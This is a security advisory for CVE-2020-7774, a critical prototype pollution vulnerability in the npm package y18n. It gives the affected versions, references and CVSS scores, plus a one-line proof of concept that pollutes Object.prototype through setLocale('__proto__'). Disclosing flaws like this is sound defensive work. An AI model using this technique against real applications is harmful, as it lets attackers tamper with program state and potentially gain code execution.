CVE-2020-7774

critical

Description

This affects the package y18n before 3.2.2, 4.0.1 and 5.0.5. PoC by po6ix: const y18n = require('y18n')(); y18n.setLocale('__proto__'); y18n.updateLocale({polluted: true}); console.log(polluted); // true

References

https://github.com/yargs/y18n/issues/96

https://github.com/yargs/y18n/pull/108

https://snyk.io/vuln/SNYK-JS-Y18N-1021887

https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038306

https://www.oracle.com/security-alerts/cpuApr2021.html

https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf

Details

Source: MITRE

Published: 2020-11-17

Updated: 2022-04-19

Type: CWE-915

Risk Information

CVSS v2

Base Score: 7.5

Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

Impact Score: 6.4

Exploitability Score: 10

Severity: HIGH

CVSS v3

Base Score: 9.8

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Impact Score: 5.9

Exploitability Score: 3.9

Severity: CRITICAL